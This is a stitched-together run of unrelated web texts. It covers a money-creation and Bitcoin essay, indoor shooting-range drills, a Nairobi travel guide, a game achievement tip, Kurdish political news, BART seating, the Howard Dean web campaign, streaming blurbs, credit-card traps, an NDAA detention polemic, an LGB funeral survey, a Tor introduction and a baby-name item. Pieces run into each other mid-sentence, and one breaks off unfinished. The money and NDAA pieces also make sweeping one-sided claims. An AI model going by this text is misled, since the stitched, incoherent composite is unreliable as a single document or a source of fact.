Most of the money in our economy is just numbers on a screen, we think of it as being cold hard cash but really it’s just electronic. The money we are using in our economy comes from commercial banks and they create that money every time someone takes out a loan. They create this money out of nothing, it is not someone’s savings, it is not backed up by gold. The only difference between a £20 note and any other piece of paper is our belief that it has value.
All the money that is used in our economy is created through debt. For every £1 in your pocket someone somewhere is £1 in debt. The entire monetary system is on loan from the banks, meaning we have to pay interest on all the money that has been created. In the UK this adds up to approximately £200 Billion a year. £200 Billion a year that is transferred from the public to the financial sector.
We have been forced between a rock and a hard place. As individuals we are forced to work and contribute to servicing this debt. Debt that we will never be able to repay, because simply put if there is no debt there is no money, and with no money there is no economy. It’s financial slavery.
While there are plenty of suggestions from the politicians about how we can improve our economic situation and get rid of the debt, the bottom line remains that as a system the way we create money is seriously flawed. It’s a system were by wealth is actively taken from the poorest 90% and given through debt creation to the richest. It’s a major contributing factor to the growing inequality we all witness. As well as one of the most significant factors in asset price inflation such as the housing bubble. In fact our financial system is so corrupt and rotten to the core we included money from prostitution and illegal drug sales to boost our GDP figures, figures which the politicians then use to prove the success of their financial policies.
Reading all this I can’t help but think maybe we would really be better off if we adopted an alternative currency such as the virtual dragon ball? It’s certainly was what Satoshi Nakamoto thought when he created a type of cryptocurrency called BitCoin. We all know the saying ‘money is power’ well cryptocurrencies are a way to give back power to the people. Cryptocurrencies’ recognise that there needs to be a political purpose for money creation, that we desperately need to democratise money so that it works for the people not against the people.
Bitcoin is essentially a type of digital currency in which encryption techniques are used to regulate the generation of units of the currency. This means that there is a cost to mining these coins, similar to the process of mining other minerals such as gold. There is a finite number that can be mined unlike our fiat money that can be created infinitely at whim.
Bitcoin is being used all over the world in very much the same way any other currency is being used. It is completely decentralised and allows money to be transferred between individuals without a middleman. The Bitcoin technology allows for the freedom to pay anyone at anytime with no fees or extremely low fees. It allows a higher level of security and control as payments are made without transferring personal information offering strong protection against identity theft. But most importantly all information concerning Bitcoin is transparent and neutral, readily available on the blockchain to use in real-time. No individual or organisation can control or manipulate the Bitcoin protocol unlike our fiat currency model where we must trust the bankers and financial institutions will not abuse there control to make profit for themselves at the expense of everyone else.
The potential uses of this technology have yet to be fully realised but already the cryptocurrency community is starting a financial and political revolution. Using the Bitcoin protocol other currencies have been developed for specific purposes such as StartCoin. This is a specific currency that is used on the crowd funding platform StartJoin. The idea being that the people get to democratically decided on which projects get deserve funding. Some politicians such as Gular Hasnain (Green Party) and George Galloway (The Respect Party) have already begun using cryptocurrencies to fund there election campaigns. And while there remains teething issue which this new technology as people get to grips with it’s potential uses it really does have transformative potential at all levels of society.
And just in case you were wondering, my brother managed to get enough dragon balls to go on the quest, and the experience points his gaming character got by completing the quest meant that 6 months later he was able to sell the character for £250. Yeah, who knew!We all can’t live near the Weyer Range in Ohio, USSA in Tulsa, or the 88 Tactical facility in Nebraska. So how else can you train? Today we’re gonna chat about limited, short ranges.
But first…a commercial. We gotta eat too y’know.
A perfect range has multiple deep bays with tall berms, capabilities for short and long distances, huge shoothouses with 360 degree shooting capabilities where you can shoot in total darkness or the bright. Throw in a Playboy bunny or two while we’re at it. I’ve shot at plenty of ranges like this (minus the bunnies, unfortunately) but access to these ranges are limited for most of the population.
So what do we do if we can’t? Usually, especially those that live in urban areas, we shoot in cages. That is, indoor ranges. I’ve co-opted the term ‘cages’ from motorcycle riders, who often refer to cars as, ‘cages’. They call them cages because of the relatively restricted movement (and excitement) compared to a motorcycle. And somewhat in the same way, an indoor range is usually limited. Compared to a decent outdoor range, yes indeed, an indoor range is usually shitty.
How and in what manner a given indoor range is limited is going to change from facility to facility—invariably due to construction, liability, and dollars. This doesn’t mean that you can’t get some good training in, just that you have to get a little creative sometimes.
Some ranges don’t allow (you can pick the category as you read down the list):
Rapid fire
Certain calibers
Drawing from a holster
Drawing AIWB
Particular ammunition
Oblique angles
NFA items
Movement
Low-Light
…and to top it all off, it’s rare that you even have an available distance longer than 25m.
Furthermore, just the nature of an indoor range can preclude other things, like the use of a shot clock for picking up shots. I’m a proponent of the shot clock (not everyone is) but it’s kinda hard to use one if there are other people on the range. Even when you’re by yourself, you may have to tune it so it doesn’t inadvertently pick up weird echoes and mark them as fired shots.
Getting to know the owners and managers of an indoor range may open some options for you (like the ability to turn out the lights), but that’s far from guaranteed. But fear not, there are some workarounds. For the sake of this discussion, let’s go with one of the more restricted scenarios—just put everything that was on that list in play.
Work on shooting tiny little holes.
If you can’t move or shoot multiple targets, you can still work on accuracy. Print out some interesting targets. There are any number of drills for this (pistol-training.com has several that will work or can be modified to work). Once you get a good handle on a drill at closer range, simply move it on down the line or switch up your grip to dominant only, non-dominant etc. When I’m in an indoor range, I always like to start and finish with the longest distance available. Any minute muzzle movement is exponentially exacerbated at range. Shooting at 25m+ magnifies any shooter error and forces you to focus on the fundamentals. Grip, breathing, trigger squeeze—you get the idea.
Timed Drills
Now, you might be thinking that I talked about limitations of a shot clock earlier, and indeed I did. While a shot clock may not be able to pick up your split times, with most of them you can still have a randomized start time and set a par time. So, you’d press the start button, wait for the beep, and try to perform an action (shot/reload/shot) within a given time frame before that second beep. Once you’ve accomplished that goal, trim that time down to push yourself.
Have an air holster [Kinda].
If you can’t draw from a holster, you can probably do a pseudo-draw. No, you don’t have to hold your gun at your side (which will probably be against the rules). Hold the pistol in your dominant hand, like you already performed the first part of your draw stroke. Then you can bring your hands together and go from there. It’s not perfect, but it’s a sight better than just picking it off of the bench.
Work on Malfunctions
Though I doubt Will Petty is going to be standing right behind you with the Paw of Doom, you can still randomly insert some dummy rounds into your mags. If you stuff mags before you leave home (even days before) you’ll probably forget that X magazine has a dummy round as its third. Or alternatively, you can bring someone with you to load your mags. It’s also a good way to see if you’re anticipating your shots.
Reloads
Even if you can’t have a holster, you can probably reload. No, you don’t have to have a full kit on, just some belt pouches or your CCW rig will be just fine. Although yes, I have seen a guy wearing an entire slew of ill-fitting cheap battle rattle at an indoor range before. Don’t be that guy.
Zero Your Guns
Even if you normally zero rifles at 50 or 100m, you can still get pretty close with a 25m range. Your offset will depend on your individual barrel length, load, and height over bore, but the internet is full of those calculations if you can’t do the legwork yourself. Get your rough zero at 25m (or equivalent) and then ensure to confirm at an appropriate range when possible.
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Action Shooting [Maybe]
Many indoor ranges have shooting leagues. They vary from USPSA, IDPA, bowling pin shoots, and in-house games (usually depends on the facilities). No, the stages aren’t going to be the same as if it were outside in a deep bay, but you can still get some work in.
Do More Stuff at Home
If you’re limited at the range, your homework load increases. Draws, dryfiring, reloads, et al can be performed in the comfort of your living room. It’s not perfect, but it should tide you over until you can get out to a good range.
For those that shoot regularly in cages, chime in with your best practices.
-DFM29 May 2017 Tripindigo 5 min read
Way back in the 1990’s Nairobi earned its nickname Nairobbery as crime was rising. People still call it that, but does that mean you should avoid it? Is it unsafe for tourists? Should you skip Nairobi and its cheap flights to the East-African region? Or, should you fly into Nairobi and not spend a minute of your holiday there, or at least not more time then you absolutely have to, to get to your final destination, a national park or a conservancy?
The Answer is No!
Don’t avoid Nairobi. Go to Nairobi, spend a few days and fall in love with the city like I did. Make use of the best and cheapest tickets to the region, as Nairobi is still the gateway to the region, the largest hub in East Africa, and has the best connections and the cheapest tickets.
Nairobi City
Immerse yourself into the vibrancy of this growing, but still very green mega city and absorb the culture, feel the excellent vibe, eat its tasty dishes, see and experience the amazing number of world-class tourist attractions and wonder why you hesitated to add a few days to your holiday in this city.
And sure, inhale some of its exhaust fumes, see the heart-breaking poverty, sigh at the number of potholes littered across many of Nairobi’s streets, and despise the plastic bags in the streams and the rubbish on the streets. But remember, these issues are not exclusive to Nairobi, to Kenya, or even to Africa.
What to Expect?
I am not going to tell you there is no crime in Nairobi, that it is all roses over there. It is not. Of course there is crime. Just like your bag can be snatched in London, New York, Moscow or Sydney or you can be mugged in Oxford, Chicago, Vancouver or Vienna. It’s a big city, so make sure you are aware of your surroundings and stay vigilant. Don’t walk alone at night, preferably don’t walk anywhere at night. Organise trips with your tour operator, or if you prefer to fly solo, be street-smart when using public transport and taxis.
Having lived in Nairobi for nearly 2 years, and falling in love with it within a few weeks of arriving, I feel I have the right to defend Nairobi’s unwanted nickname. I will show you the beauty, I will make some suggestions on what you can do, and even some suggestions I feel you simply must do, in your time there.
But whatever you do, go. Visit Kenya, explore Nairobi, indulge yourself and go on a safari. You will not regret it!
To be honest, there are so many interesting, amazing and fun things to see and do in Nairobi, there is not enough space here to list them all, but here are my top tips. I think it’s a good list to start with.
11 Places That will change your perspective of Nairobi:
1. Better known as the elephant orphanage
A must for all visitors to Nairobi. You will regret it if you don’t go. I will write a separate blog just about the elephants and the orphanage as there is so much to tell, but this is what you need to know to visit.
Every day at 11am you can watch as the baby elephants come to the mud-hole for a bath and their bottles of milk. They will tell you all about each elephant, you can ask as many questions as you like (and get an answer from the experts), and you can touch them if they come close to you! An absolute joy for the kids, but all adults join in the fun too.
You pay a small fee as you enter and if you feel you want to do more for these elephants you can adopt one (or more!). Arrive a little earlier to ensure you don’t miss the arrival of the baby elephants from the forest. They are hungry and don’t wait for you!
Once you have adopted an elephant you get some extra special privileges, like being allowed to come (for free) at 5pm, every day if you like, when the baby elephants come back to the stockades for yet more milk and to go to bed. You can wander around for an hour and see the non-elephants in their care too. An experience never to forget. You need to call them up to let them know you are coming and which elephant you have adopted as this is for elephant-parents only.
After the elephants head back to the forest, there are plenty of elephant-themed items for sale, with all proceeds also going to the support of the work they do.
2. Giraffe Centre
Another one for the animal lovers. A breeding centre for the Rothschild’s giraffes where you can feed them and, if you want, can get a kiss from a giraffe. I usually try to visit in the morning as it is quieter and the giraffes seem to always be very keen on the food handed out to them. You can ask the staff any question you have about giraffes. They are very happy to answer them all.
I can’t really recommend the café, but the souvenir shop is pretty good.
Feeding the giraffe from the platform at giraffes center in Nairobi
3. Nairobi National Park
I thought I would mention the Nairobi national park here too, as it is the only national park with free roaming wild animals inside a capital city and it is pretty special. You have a very good chance of seeing your first lions here, as well as black and white rhino, giraffes, buffalo, hippo, and a lot of other ‘common’ animals like zebra, gazelles, birds and baboons. If you are lucky you might even see a leopard or a serval, although they are not often spotted, but they are there.
Try to go there with your own transport. They do offer visitors a tour in a bus, but this means less freedom and no option to spend a few extra minutes with your favourite animal.
They sell maps which have numbered junctions, the same as you will find in the park. Don’t forget to ask where special animals have been spotted that day, the staff at the gate always keep a list with any sightings reported.
If you are only visiting Nairobi for a quick work trip and you don’t have time to go on safari, then this is an absolute must. I always love spending some hours here. It is huge and in one day you are most likely not going to see it all…
The café and souvenir shop are pretty useless.
More about Nairobi National Park
Nairobi National Park with the classic view of Nairobi City centre
4. Kazuri
My favorite workshop and success story. The ladies here all live in Kibera, Nairobi and possibly Africa’s biggest slum, and most are single mothers. They create beads. By hand. And paint them. By hand. Every single one.
And once all these beads have been created, painted and fired in the kilns, they are turned into the most exquisite jewellery. Necklaces, bracelets, earrings, even hair clips and Christmas tree ornaments are all created, by hand, right here in the workshop.
You can get a free tour here any time of the day, but check for opening times in the weekend. Don’t arrive last minute before closing time as they will all be packing up and there won’t be much to see. After the tour you are gently guided to the shop where you can pick up as many of these beauties as fit in your suitcase. I have a whole collection just for myself, all different in style and colour.
They make unforgettable souvenirs and great gifts. And if beaded jewellery isn’t your thing, head over anyway as they also make animal statues and a whole range of crockery.
Give the café here a miss, unless you are just after a soft drink or a bottle of water. There are better places for lunch or a coffee around.
5. Marula Studio
This is a studio where they pay people to bring in rubber flip-flops and other rubber trash and turn it into colourful, sculpted animals. Support the artists as well as the environment! You can rock up at any time when they are open for a free tour. A shop and a café are all on the same grounds to make it easy for you.
6. Amani ya Juu
Amani ya Juu teaches ladies to make things with fabric. The tablet / ipad covers and handbags are the most popular items, but they also have a range for Christmas and kids. The café in the same grounds is run by the same ladies and is a relaxed place for a drink or tasty lunch.
The garden café with the shop
7. Matbronze
You’ve guessed it, they make bronze artwork here. Unfortunately, you can no longer see the craftsmen at work, but they have an excellent gallery with their amazing pieces as well as some paintings and drawings from other artists. And, also here you find an excellent café to make it another perfect stop for lunch. It’s also located very close to the giraffe centre.
8. Kitengela
All things glass are made here, a very quirky place with lots of art spread around. You can see the artists at work, have a drink in the café, and you can browse the many things for sale. They work on commission here as well. If you don’t have the time to get there, it’s a little out of the way, they also have some shops that sell their excellent glasswork in the major shopping malls.
9. Maasai Market, Triangle Market, CBD, Spinners Web, Utamaduni and Shuka Duka
For souvenir and unique gift shopping in Nairobi, I can recommend several locations. The Maasai Market and the Triangle Market are for those who love the traditional style souvenirs and don’t mind bargaining for a good price. Be aware the Maasai Market is held in a different location every day.
For those who don’t like to negotiate a price and who would still like to buy some excellent quality souvenirs, Spinners Web, Utamaduni and Shuka Duka are the best places in town. All have fixed prices and offer a wide range of crafts.
The CBD is my favourite location for fabrics, although some can also be found in the markets and shops mentioned above. Kitenge, kikoy, khanga and shuka are the traditional ones. If you love colour, you will love these.
Colourful kitenge and khanga hanging in a shop in the Maasasi Market area. Image by: biashara.co.ke
10. Sandstorm
A leather and canvas workshop with a small shop where you can usually pick up a bargain. Their official shops are located in some of the large shopping malls and they make beautiful travel bags. Mine goes with me on every safari.
11. Museums
Yes, Nairobi has museum. If you have read the book ‘Out of Africa’ by Karen Blixen, you might want to pop into her old house in Karen. Another museum to visit is the Nairobi National Museum. The bird collection is impressive, although lacks an interesting display. There are interesting rooms on culture, history, and animals, but don’t bother with the snake park. It’s a sad place where a few snakes and reptiles are kept in too small cages. The one thing you must not miss is the area where the hominid fossils are on display. They are impressive and a must when visiting.
The huge skeletons in the middle of the big hall of the Nairobi National Museum. Image from: www.facebook.com/nationalmuseumsofkenya
Other museums to put on your list if you are an avid museum lover are the Railway Museum and the Bomas of Kenya, a great one to visit with kids where you can learn more about Kenyan culture and its different tribes in an outdoor setting. They also have a great performance showcasing traditional dances, well worth it.
I think the above list will keep you busy for quite a few days. Don’t forget traffic can be an issue in this big city, so don’t plan too much in one day. If you need more ideas what to do in Nairobi, you can look into tea plantation tours, go walking, running or biking in Karura Forest, visit the Brown’s cheese factory and have lunch there too, play a round of golf on one of Nairobi’s many excellent golf courses or take the kids to Nairobi’s waterpark.
If after reading the above suggestions you still need another reason why you should go, then remember that without tourists there will be no protection for the animals. You are the best protection the elephants, lions, cheetahs, leopards, giraffe, rhinos and pangolins can wish for. If lots of people visit the national parks and other wildlife areas, there is a reason to maintain them. They will provide jobs to the people of Kenya, and they will see the value of nature.
What are you waiting for? Book your flights to Nairobi and start the anticipation and excitement of the holiday of your lifetime now!Keep it 100
This achievement can be done with Yang or Blake since their combos take a while and they are easy to do, I suggest getting Blake and the stun shot skill from the ranged weapon, you can attack them close range and then run away so you won't get hit, and then shoot them from a distance, you need to learn how to counter attack (by pressing F) at the right time, once they are stunned (after the ranged attacks) you can go for hits, to make it even easier for you, Blake has a perk that extends the time before the combo counter resets, this perk is unlocked at level 10. This achievement can be unlocked on singleplayer and it isn't that hard at all especially if you play on higher difficulties, just hit 100 on the combo hit meter, it can be done on any level, I did it on Chapter 7 at the first grimm area. But since the release of Horde Mode that might be your best and easiest option to do it.ERBIL, Kurdistan Region- Syrian Kurds are not seeking an independent region of their own but a democratic country with equal rights, says the leader of the Kurdish Democratic Union Party (PYD).Speaking to the German Press Agency (DPA), PYD leader Salih Muslim said: “The Kurds of Syria are not after an independent region of their own but they rather want Syria to become a democratic state where all of its citizens will enjoy equal rights.”Muslim cited the recent victories of the multiethnic Syrian Democratic Forces (SDF) against ISIS as an example of how Syrians could live and work together.He said that victories were not gained by the Kurds alone.“We are not dreaming of a Syrian Kurdistan or of an independent Kurdish region,” Muslim told DPA. “The Kurds alone did not liberate vast areas but they did so with other communities such as Arabs, Assyrians and Turkmen.”“Our project is for Syria to become a federal democratic state with a new regime and new laws that would guarantee the rights of all of its citizens,” said the PYD leader, according to an Arabic statement posted by his media.Muslim also defended the move by the canton administrations to hold elections, saying: “We cannot wait and bet everything on an all-out Syria solution which we don’t know when it may come.”The Kurdish areas of Syria known as Rojava have been under the PYD and its armed wing, the People’s Protection Units (YPG) since 2012, and they have established several autonomous administrations known as cantons.“The free areas must have their own system to run their affairs and laws have been passed for this,” Muslim said. “But some are mixing the cards.”
Muslim’s remarks were a response to Syria’s deputy foreign minister Fazil Mekdad who said over the weekend that elections in the Kurdish areas of Syria were “a joke.”
The founding council of the Democratic Federal System of Northern Syria announced in late July that they soon plan to hold their own local and Northern Syria Democratic parliament elections.
Civil war and unrest have lasted more than six years in the Syrian Arab Republic.While we're all certainly excited for the numerous amenities the new BART cars will offer, the seats are obviously the most important. It was with this in mind that we saw with excitement that BART officials today published an explainer as to just what, exactly, we can expect from the new train seating. Let's dive in.
First, officials are quick to assure us, "the seats feel great." "It's a Goldilocks-like sweet spot that varies by personal preference, but the best way I could describe it to you is: Not hard plastic like a Muni seat," writes one BART employee who had the pleasure of testing out the seats on the new trains. "Not spongy like the old fabric BART seats. Somewhere in between, that felt for this rider, just right."
A handy diagram helps break it down even further (see below), highlighting "six seat strengths." Those strengths are handles for people walking or standing nearby, lumbar support, more space underneath the seats to store luggage (think trips to OAK or SFO), silicon padded seats, a lack of crevices in which to lose your change, and finally (perhaps questionably), "cool colors to calm your commute."
The seats were selected following a lengthy testing process involving every-day riders. Running in the summer of 2011, the "seat labs" involved 2,200 passengers trying out one of twelve seat variants (the full findings are available to read online). "Participants were given the opportunity to comment on various types of material," reads a summary of the findings, "and the word 'clean' was used 653 times in comments" (apparently people didn't want a repeat of the gross cloth seats of yesteryear).
In other words, these things have been thoroughly vetted.
But what about the colors, which some 49ers fans claim to be too reminiscent of the Seattle Seahawks colors? BART officials reject that claim. And anyway, if they're comfortable enough, we'll all manage to get over it somehow.
The first of the new cars are scheduled to go into service before the end of this year, so you should have the chance to form your own opinion in the very near future.
Related: Study: BART Cars Host Bacteria Behind Skin Infections, PneumoniaThe father of all Web campaigns
Almost every innovation now commonplace in politics — search ads, social networking, online video hubs, do-it-yourself grass-roots tools — has traceable roots to a ragtag bunch of techies whose dream candidate was a loser.
Remember Howard Dean?
Story Continued Below
Today, the whiz kids who used the Web in 2003 to transform the former Vermont governor into — at least for a short while — a viable presidential contender are now in the upper reaches of President Barack Obama’s reelection campaign, in academia, or have made big business out of politics and technological activism.
“If you look at where Dean people are compared to the people who worked for other losing candidates, Howard Dean was the best losing candidate to work for in the history of politics,” said Clay Johnson, 35, who bounced from a $28,000 programming job for the Dean campaign to co-founding Blue State Digital, the multimillion-dollar Democratic online campaign consultancy.
Once regarded as a misguided gang of upstarts threatening the tried-and-true campaign process, the Dean team’s digital spawn have helped rewrite the political playbook from front to back.
The most visible alum is the Obama 2012 campaign’s chief digital strategist, Joe Rospars, 31, whose key innovation for Dean for America, by some accounts, was his craftsmanship in writing email fundraising solicitations, a skill clearly evidenced in the Obama team’s prolific and intensely successful email program.
The Obama campaign declined to let Rospars be interviewed for this report.
Others aren’t shy about the effect Dean’s digital brains had on politics.
“We were the Wright brothers,” Dean’s campaign manager Joe Trippi told POLITICO. “We had great ideas, and we were doing it in a very primitive way with what was possible. From the Wright brothers, we landed a guy in the White House. The pioneering spirit didn’t die with the campaign.”
The Dean effort, while a triumph for digital campaigning, lived fast and died young. Remember the infamous Dean scream, that earliest viral political moment and the pinprick that instantly deflated the Dean bubble? Turns out, it was merely the bang that scattered a team of dreamers across the body politic, liberating them to start companies, write books, teach and talk.
“There is the Dean campaign before and after,” said Jascha Franklin-Hodge, 33, a Blue State Digital co-founder who quit a lucrative job in Boston for AOL to become Dean’s national systems administrator, responsible for preventing the online operation from crashing. “We’ve been seeing what the ‘after’ looks like in the last eight years. That was the moment that laid down the marker for all that came afterwards.”I have spent a couple days trying to process the amazing batch of gifts I received from my Abilene, Texas Hometown Exhange Santa. I still can't believe my luck! I got an amazing 12 gifts, each wrapped in local newspaper and introduced with a note. You did so well painting a picture of your town using these gifts. This is why the Hometown exchange is my very favorite!
I received a Texas Church Supper cookbook. You didn't know, but I collect these types of cookbooks, I have them from my mother's collection, the Greek Festival cookbook in my local area, a couple cookbooks that have my own personal recipes including one from our County Fair with my 1st prize winning bread and butter pickles!
Next I got food goodies, Duplex Cremes made in Abilene, Peach pecan jam, Sugar sticks, Pecan Pralines, and Sizzling Steak seasoning.
I received cultural items such as postcards, information about Abilene being the storybook capital (and a bookmark and a decal), brochures on the sculpture garden and a walking tour, 4 postcards, Wildcat sunglasses to wear on my walk, and a Red Thread Movement bracelet.
To bring a little Texas to California, I have a packet of Texas Bluebonnet seeds, though I don't think they will grow here.
Last but not least, a plastic bank shaped like Texas filled with an Abilene pin and two Children's Literature Museum pins AND an Abilene Zoo squishy penny because I told them I collected them!! Wow, right???
Honestly, I am overwhelmed with thankfulness! Thank you sooooo much for all my thoughtful gifts! I'll never forget this exchange!Coming Soon
Upstarts
Determined to ride the burgeoning wave of startup companies, three college graduates set out to change the world while making millions.
The Stranded
When a tsunami strands dozens of teens on an island at their private school, they soon realize no rescuers are coming and they must save themselves.
Spectros
A teenage boy and his friends get caught in a clash between Brazilian witchcraft and Japanese Shinto spirits in their neighborhood.
Cobalt Blue
When a brother and sister fall in love with the same man, ensuing events shatter a traditional Marathi family. Based on Sachin Kundalkar's novel.
ReMastered: Devil at the Crossroads
Robert Johnson was one of the most influential blues guitarists ever. Even before his early death, fans wondered if he'd made a pact with the Devil.
The Order
Out to avenge his mother's death, a college student pledges a secret order and lands in a war between werewolves and practitioners of dark magic.
Bloodride
A Norwegian anthology series that blends horror with dark Scandinavian humor, setting each distinct story in its own realistic yet weird universe.
Unbelievable
After a teen reports being raped, then recants her story, two female detectives follow evidence that could reveal the truth. Based on a true story.Even if you've tried reading the fine print from your credit card company, it's rarely obvious what it all means. Weblog Get Rich Slowly takes pity on us, breaking down five common tricks to watch for.
The post breaks down five promises, explaining the trap set up by each promise, then detailing you can avoid it. For example:
Promise #3: "0% APR on balance transfers for 12 months!"
The Trap: Two-fold. First off, it's almost impossible these days to transfer a credit card balance without paying 3% of the balance upfront. Transfer $5000 and you'll pay $150 before we even start talking about paying down the balance. Second, almost all card companies take your payments and apply them first to balances with the lowest interest rate. Say you transfer $1000 to a card at 0%. The card's interest rate on new purchases is 13.99%. This month you buy $500 worth of stuff with the card, then pay $500 when the bill comes. Do you still have a $1000 balance at 0%? No, you have a $500 balance at 0% and a $500 balance at $13.99%! Why? Because your $500 payment went toward the balance sitting at 0%, not toward the balance sitting at the 13.99%. Your Plan: A couple of options. The easy thing to do would be to swear off credit for a bit - transfer the balance then don't use the card until it is paid off. (You'd stilll get hit with the 3% fee, but it might be worth it if you had a high interest rate on your old card.) If |
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If these provisions are enacted, it would give the federal government the explicit power to imprison civilians, including American citizens, indefinitely with no charges or trial.
This would include individuals apprehended both inside and outside of the United States, meaning that this could give the federal government the ability to openly detain American citizens for their entire lives without so much as a single charge.
While the federal government already murders American citizens abroad based upon the decision of an unlegislated secret death panel within the National Security Council, this would be the first time since 1950 that Congress has explicitly authorized indefinite detention of Americans without charges or a trial.
This provision includes people who had absolutely no role in the attacks of September 11th, 2001, or any hostilities whatsoever and would mandate military detention of certain civilians.
This includes civilians arrested within the United States who would otherwise be outside of military control while also transferring all responsibilities to the Department of Defense.
Instead of the Department of Justice’s Criminal Division, National Security Division, or the United States Attorneys, the Federal Bureau of Investigation, the Bureau of Prisons, the Marshals Service and/or the state attorneys general handling the prosecutorial, investigative, law enforcement, penal and custodial authority, the Department of Defense would handle it all.
That means that all control would be taken out of the hands of civilians and put into the brutal grip of the American military, essentially this would mean a military takeover of our so-called justice system.
All they would have to do is classify you as a terrorist, no need for actual charges or participation in hostilities; you could be locked up indefinitely for any reason or no reason at all if the Department of Defense saw fit under this NDAA.
This is so fundamentally un-American, the ACLU can’t help but right that the provisions are “inconsistent with fundamental American values embodied in the Constitution and in the country’s adherence to the rule of law.”
These provisions of the NDAA are so radical that they actually remove much of the protections American citizens have had since 1878 under the Posse Comitatus Act and the Non-Detention Act of 1971.
Section 1031 of S. 1253 would be the first time in more than 60 years that our so-called representatives in Washington would allow indefinite detention of American citizens with no charges or trial without Congressional authorization.
Since 1971 the Non-Detention Act has stipulated, “No citizen shall be imprisoned or otherwise detained by the United States except pursuant to an Act of Congress,” but S. 1253 could make this a thing of the past.
The ACLU points out that while Subsection 1031(c) of S. 1253 claims that it does not apply to lawful residents of the United States or citizens “on the basis of conduct taking place within the United States except to the extent permitted by the Constitution,” glaring loopholes remain.
If the government’s track record is any indicator, we can expect these loopholes to be exploited at every possible opportunity.
Just as the federal government has used the PATRIOT Act’s so-called “Sneak-and-Peek,” or delayed notice, warrants for over 1,600 drug cases and only 15 cases of terrorism in 2006-2009, we can expect the government to use S. 1253 for detaining people for completely illegitimate reasons.
These loopholes allow suspects to be imprisoned without charge or trial, especially citizens or lawful residents who are suspected of some sort of wrongdoing outside of the United States.
The most unsettling aspect is that the deciding factor in determining if an individual can be detained indefinitely is not any proof of guilt, but instead entirely by officials in the Executive Branch, which, according to the ACLU would be “following some future agency regulations.”
This, just like the unlegislated death panel that resulted in the killing of Anwar al-Awlaki and his 16-year-old son, leaves it up to the Executive without any guidelines whatsoever.
It is quite shocking how much the federal government is attempting to push us towards a dictatorship with no legal protection whatsoever from being locked up with no hope of a fair trial or even charges.
Indeed the legislation would allow American citizens to be imprisoned “until the end of hostilities” under 2001′s Authorization for Use of Military Force, or S.J. Res. 23.
Yet this represents no concrete time frame whatsoever and Section 1031 would allow American citizens and non-citizen civilians who had no role in 9/11 or any other hostilities whatsoever to be detained who would otherwise not be detainable under the laws of war.
Section 1032 puts civilians who would otherwise not be subject to military control into military detention, thus removing the protections of the Posse Comitatus act.
Like Section 1031, this would include indefinite imprisonment of civilians apprehended inside of the United States, Section 1032 does not authorize the military to detain civilians without charge or trial, it in fact it mandates it.
The protection against the government using the military for law enforcement activities within the United States under Posse Comitatus would be eliminated under Section 1032 and the ACLU points out that, “all state and federal law enforcement would be preempted by the military.”
Previously the state and local law enforcement agencies and the Department of Justice had the primary responsibility to enforce anti-terrorism laws within the United States.
The NDAA would, in the case of many civilian suspects, remove federal state and local law enforcement from the process of investigation, arrest, criminal prosecution and imprisonment and hand said powers over to the military.
The ACLU “strongly urges” the Senate’s Judiciary Committee to conduct hearings on sections 1031, 1032, and 1036 and assert their jurisdiction to mark up these sections before the NDAA makes it to the Senate floor.
They say that the Judiciary Committee should assert their jurisdiction over these provisions in order to prevent civilian law enforcement against civilians who would otherwise be out of the purview of the military to fall into the hands of the military.
The ACLU’s letter does not, however, cover Section 1033 which Human Rights Watch claims would apply to the many detainees already being held for years without trial who have been cleared for release.
In a form letter with the subject, “Stop Militarization of Law Enforcement” they write that Section 1033 would, “force the administration, for example, to continue to hold a Guantanamo detainee simply because they were from a country of an accused terrorist.”
I highly recommend that you send out this form letter along with a note written by yourself to all of your supposed representatives, along with as many phone calls as you can afford to make it clear that you do not support the United States being turned into a total militarized police state.
While we are already in dire straights in terms of civil rights in this country, codifying indefinite military detention into law is one of the most dangerous developments since the introduction of the PATRIOT Act.
If you even remotely care about the principles of freedom, liberty and justice which this nation is supposed to stand for, you will do us all a favor and stand up against this wholly unacceptable legislation that could represent the end of America as we know it.Family members and religious leaders were the most likely to discriminate against gay, lesbian and bisexual people, according to the study
A shocking number of gay people face bigotry at funerals, new research has revealed.
YouGov polling has discovered one in 10 lesbian, gay and bisexual people have experienced discrimination when saying goodbye to a loved one.
Family members and religious leaders were the most likely to discriminate against gay, lesbian and bisexual people, according to the study.
There are many fears as well that comes with getting older, with nearly half (48%) believing they could face bigotry when they deal with bereavement.
Almost a quarter (23%) of those surveyed also expect to be treated poorly by a funeral director.
Ruth Hunt, Acting Chief Executive of Stonewall, said: ‘Many older lesbian, gay and bisexual people grew up in a time when they were discriminated against and persecuted simply because of who they are.
‘It’s therefore hardly surprising that so many feel reluctant to access services to help them plan for later life.
‘At Stonewall we know that we stand on the shoulders of a generation whose tireless work helped to change Britain and the world for the better.
‘We now have a responsibility to make sure that they receive the help and support they deserve for themselves and their families. That is why we’re working with community groups and faith organisations to help make this a reality.’
A guide for LGB people on planning for later life, such as funeral planning and making a will, has been developed by Stonewall and The Co-operative Funeralcare. Read it here.Intro to TOR: how you can be an anti-censorship activist in your sleep
Here's a nice little introductory article on TOR, The Onion Router, a privacy-enhancing technology that helps you to circumvent national, corporate and school firewalls and enhance your anonymity. Originally developed by the US military to help communications get in and out of countries that heavily filter their networks, TOR is free/open software and is maintained by many volunteers around the world, including the Electronic Frontier Foundation.
TOR works by passing your traffic through several (theoretically) unrelated computers all over the Internet, using cryptography to keep the origin, destination, and intermediary steps secret from each computer it passes through.
You can run TOR on your own computers and they'll become part of this array of intermediary hosts all over the net, making your network connection into a tool for privacy and free access to information.
Bill McGonigle, of Lebanon, New Hampshire, decided to become a Tor volunteer when he learned that people in Iran were protesting the results of their June Presidential election. They were using the Internet to organize their meetings. The Iranian government was trying to censor their messages to one another. "I have a soft-spot for people trying to gain liberty for themselves," he wrote in an email, "especially against tyrannical regimes. It became known that they were using Tor to get around the censorship, so at that point I put up a relay....The people I'd like to help are those living under violence-based oppression, most commonly orchestrated by dangerous and corrupt individuals posing as legitimate governments. I'd like to see an end to oppression wherever it exists."
Volunteer Your Computer for Global Privacy
(Thanks, Rhona!)#AWKWARD.
Some parents think they're ironic, cool or just a little bit fresh.
Some parents just don't get it.
Without presuming to know why they settled on the particular name Hashtag, we're going out on a limb to presume her parents are of the "just don't get it" parent group.
The beautiful baby girl will forever live with a transient legacy of the Twitter generation, until such time as she can legally change her name to #SomethingNormal.
"Hashtag Jameson was born at 10 oclock last nite," the Facebook post reads.
"She weys 8pounds and I luv her so much."
Hashtag Jameson now joins the honour roll of awks namesies which includes Facebook, Falcon, Thor, Sage Moonblood and Nicki Minaj.
